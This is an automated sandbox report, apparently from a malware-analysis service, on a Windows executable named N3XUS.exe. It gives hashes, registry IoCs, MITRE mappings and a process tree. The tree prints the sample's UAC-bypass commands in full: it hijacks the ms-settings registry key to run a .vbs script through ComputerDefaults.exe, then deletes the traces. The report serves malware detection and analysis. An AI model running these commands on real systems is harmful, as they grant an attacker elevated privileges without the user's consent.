dcf5453a2be04f3ebe45d56e631a9cadb573b27de1ef142ecd958ba8560f0dd0

Analysis

max time kernel
240s
max time network
244s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21/11/2024, 09:56

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General

Target

N3XUS.exe
Size

255KB
MD5

a5c463cb69a24c37d962587706f4df4b
SHA1

634520f698c5ce7df3e51174fe64306b1b0f1bfe
SHA256

dcf5453a2be04f3ebe45d56e631a9cadb573b27de1ef142ecd958ba8560f0dd0
SHA512

92f61d162802401ae7473e235becd580419a57e1cfe99475166717d93de26e51ecbd60bbebbe0b9a6a8fe15bb1c42c9f31676cef37815f040a0c408108c04c2e
SSDEEP

3072:Sz2z1EWSnEvrSmD+l25mFdO4em5guIg+GtfDVVtTzKE:Sz2zBvrSmD/d4z5UlqDVvzKE

Score

6^/10

Malware Config

Signatures

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
4	raw.githubusercontent.com

Modifies registry class 33 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\8582.vbs"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\9757.vbs"	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\8619.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 572 wrote to memory of 2920	572	N3XUS.exe	29
PID 572 wrote to memory of 2920	572	N3XUS.exe	29
PID 572 wrote to memory of 2920	572	N3XUS.exe	29
PID 2920 wrote to memory of 2924	2920	cmd.exe	31
PID 2920 wrote to memory of 2924	2920	cmd.exe	31
PID 2920 wrote to memory of 2924	2920	cmd.exe	31
PID 572 wrote to memory of 2476	572	N3XUS.exe	32
PID 572 wrote to memory of 2476	572	N3XUS.exe	32
PID 572 wrote to memory of 2476	572	N3XUS.exe	32
PID 2476 wrote to memory of 2808	2476	cmd.exe	34
PID 2476 wrote to memory of 2808	2476	cmd.exe	34
PID 2476 wrote to memory of 2808	2476	cmd.exe	34
PID 2476 wrote to memory of 2900	2476	cmd.exe	35
PID 2476 wrote to memory of 2900	2476	cmd.exe	35
PID 2476 wrote to memory of 2900	2476	cmd.exe	35
PID 572 wrote to memory of 2928	572	N3XUS.exe	36
PID 572 wrote to memory of 2928	572	N3XUS.exe	36
PID 572 wrote to memory of 2928	572	N3XUS.exe	36
PID 2928 wrote to memory of 2896	2928	cmd.exe	38
PID 2928 wrote to memory of 2896	2928	cmd.exe	38
PID 2928 wrote to memory of 2896	2928	cmd.exe	38
PID 572 wrote to memory of 2788	572	N3XUS.exe	39
PID 572 wrote to memory of 2788	572	N3XUS.exe	39
PID 572 wrote to memory of 2788	572	N3XUS.exe	39
PID 572 wrote to memory of 2848	572	N3XUS.exe	41
PID 572 wrote to memory of 2848	572	N3XUS.exe	41
PID 572 wrote to memory of 2848	572	N3XUS.exe	41
PID 2848 wrote to memory of 2700	2848	cmd.exe	43
PID 2848 wrote to memory of 2700	2848	cmd.exe	43
PID 2848 wrote to memory of 2700	2848	cmd.exe	43
PID 572 wrote to memory of 2844	572	N3XUS.exe	44
PID 572 wrote to memory of 2844	572	N3XUS.exe	44
PID 572 wrote to memory of 2844	572	N3XUS.exe	44
PID 2844 wrote to memory of 3052	2844	cmd.exe	46
PID 2844 wrote to memory of 3052	2844	cmd.exe	46
PID 2844 wrote to memory of 3052	2844	cmd.exe	46
PID 572 wrote to memory of 2860	572	N3XUS.exe	47
PID 572 wrote to memory of 2860	572	N3XUS.exe	47
PID 572 wrote to memory of 2860	572	N3XUS.exe	47
PID 2860 wrote to memory of 2776	2860	cmd.exe	49
PID 2860 wrote to memory of 2776	2860	cmd.exe	49
PID 2860 wrote to memory of 2776	2860	cmd.exe	49
PID 2860 wrote to memory of 2720	2860	cmd.exe	50
PID 2860 wrote to memory of 2720	2860	cmd.exe	50
PID 2860 wrote to memory of 2720	2860	cmd.exe	50
PID 572 wrote to memory of 2660	572	N3XUS.exe	51
PID 572 wrote to memory of 2660	572	N3XUS.exe	51
PID 572 wrote to memory of 2660	572	N3XUS.exe	51
PID 2660 wrote to memory of 2708	2660	cmd.exe	53
PID 2660 wrote to memory of 2708	2660	cmd.exe	53
PID 2660 wrote to memory of 2708	2660	cmd.exe	53
PID 572 wrote to memory of 2736	572	N3XUS.exe	54
PID 572 wrote to memory of 2736	572	N3XUS.exe	54
PID 572 wrote to memory of 2736	572	N3XUS.exe	54
PID 572 wrote to memory of 2156	572	N3XUS.exe	56
PID 572 wrote to memory of 2156	572	N3XUS.exe	56
PID 572 wrote to memory of 2156	572	N3XUS.exe	56
PID 2156 wrote to memory of 1580	2156	cmd.exe	58
PID 2156 wrote to memory of 1580	2156	cmd.exe	58
PID 2156 wrote to memory of 1580	2156	cmd.exe	58
PID 572 wrote to memory of 1624	572	N3XUS.exe	59
PID 572 wrote to memory of 1624	572	N3XUS.exe	59
PID 572 wrote to memory of 1624	572	N3XUS.exe	59
PID 1624 wrote to memory of 580	1624	cmd.exe	61

C:\Users\Admin\AppData\Local\Temp\N3XUS.exe
"C:\Users\Admin\AppData\Local\Temp\N3XUS.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:572
- C:\Windows\system32\cmd.exe
  /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\system32\reg.exe
    reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:2924
- C:\Windows\system32\cmd.exe
  /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\9757.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\9757.vbs" /f
    3⤵
    - Modifies registry class
    PID:2808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    - Modifies registry class
    PID:2900
- C:\Windows\system32\cmd.exe
  /c start /B ComputerDefaults.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\ComputerDefaults.exe
    ComputerDefaults.exe
    3⤵
    PID:2896
- C:\Windows\system32\cmd.exe
  /c del /f C:\Users\Admin\AppData\Local\Temp\9757.vbs
  2⤵
  PID:2788
- C:\Windows\system32\cmd.exe
  /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\system32\reg.exe
    reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Modifies registry class
    PID:2700
- C:\Windows\system32\cmd.exe
  /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\system32\reg.exe
    reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:3052
- C:\Windows\system32\cmd.exe
  /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\8582.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\8582.vbs" /f
    3⤵
    - Modifies registry class
    PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    - Modifies registry class
    PID:2720
- C:\Windows\system32\cmd.exe
  /c start /B ComputerDefaults.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\system32\ComputerDefaults.exe
    ComputerDefaults.exe
    3⤵
    PID:2708
- C:\Windows\system32\cmd.exe
  /c del /f C:\Users\Admin\AppData\Local\Temp\8582.vbs
  2⤵
  PID:2736
- C:\Windows\system32\cmd.exe
  /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\reg.exe
    reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Modifies registry class
    PID:1580
- C:\Windows\system32\cmd.exe
  /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\Windows\system32\reg.exe
    reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:580
- C:\Windows\system32\cmd.exe
  /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\8619.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
  2⤵
  PID:1708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\8619.vbs" /f
    3⤵
    - Modifies registry class
    PID:1928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    - Modifies registry class
    PID:1236
- C:\Windows\system32\cmd.exe
  /c start /B ComputerDefaults.exe
  2⤵
  PID:1260
- - C:\Windows\system32\ComputerDefaults.exe
    ComputerDefaults.exe
    3⤵
    PID:2244
- C:\Windows\system32\cmd.exe
  /c del /f C:\Users\Admin\AppData\Local\Temp\8619.vbs
  2⤵
  PID:924
- C:\Windows\system32\cmd.exe
  /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
  2⤵
  PID:3028
- - C:\Windows\system32\reg.exe
    reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Modifies registry class
    PID:3020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8582.vbs

Filesize
114B

MD5
34b33b5a437e20d03d79b62a797dfe99

SHA1
9b57b598a7e9d66157a05a44bc7c097bf5486e6c

SHA256
f920f526773c0565072fcfd250319c9dd53b9197d448b9d29307598e0fa004e1

SHA512
757be8161af2eb4af36772e2e0d912e0967540cb42ef6ef8cd85f28edb478756c99d9e7a6fef04b16e6bf63a3dc9ddb9c2adf490e8d9ae2ca0e3e9b76ef6fa6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\8619.vbs

Filesize
117B

MD5
bb8cfb89bce8af7384447115a115fb23

SHA1
6a0e728f4953128db9db52474ae5608ecee9c9c3

SHA256
d812291a41eddd5eac04972e66feffc44c1ee2c249d708bb282144823a6e8485

SHA512
d69901ba3cebd1fe8ed8e3d613e16a6cfbead827a9493a7edd8c62fb2915a550450ff4f47f00a8c66880ea10cd4029bceac4518d1951c19fb7ad9d7505007553

Download Submit
C:\Users\Admin\AppData\Local\Temp\9757.vbs

Filesize
125B

MD5
8b4ed5c47fdddbeba260ef11cfca88c6

SHA1
868f11f8ed78ebe871f9da182d053f349834b017

SHA256
170226b93ac03ac3178c0429577626add00665e1d71be650a4c46674f6e262a5

SHA512
87e5bcaa143e616c365557f5af73e131a10eb380016633b8c7e38c83b0a216a8f6768cfa0166fad208d47830808444517e57d07d850ff2bd575ca67bad9eabdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabCFA0.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarCFD2.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/572-0-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/572-1-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/572-2-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/572-4-0x0000000000330000-0x0000000000331000-memory.dmp

Filesize
4KB

Download
memory/2896-5-0x0000000002250000-0x0000000002251000-memory.dmp

Filesize
4KB

Download
memory/2896-9-0x0000000002250000-0x0000000002251000-memory.dmp

Filesize
4KB

Download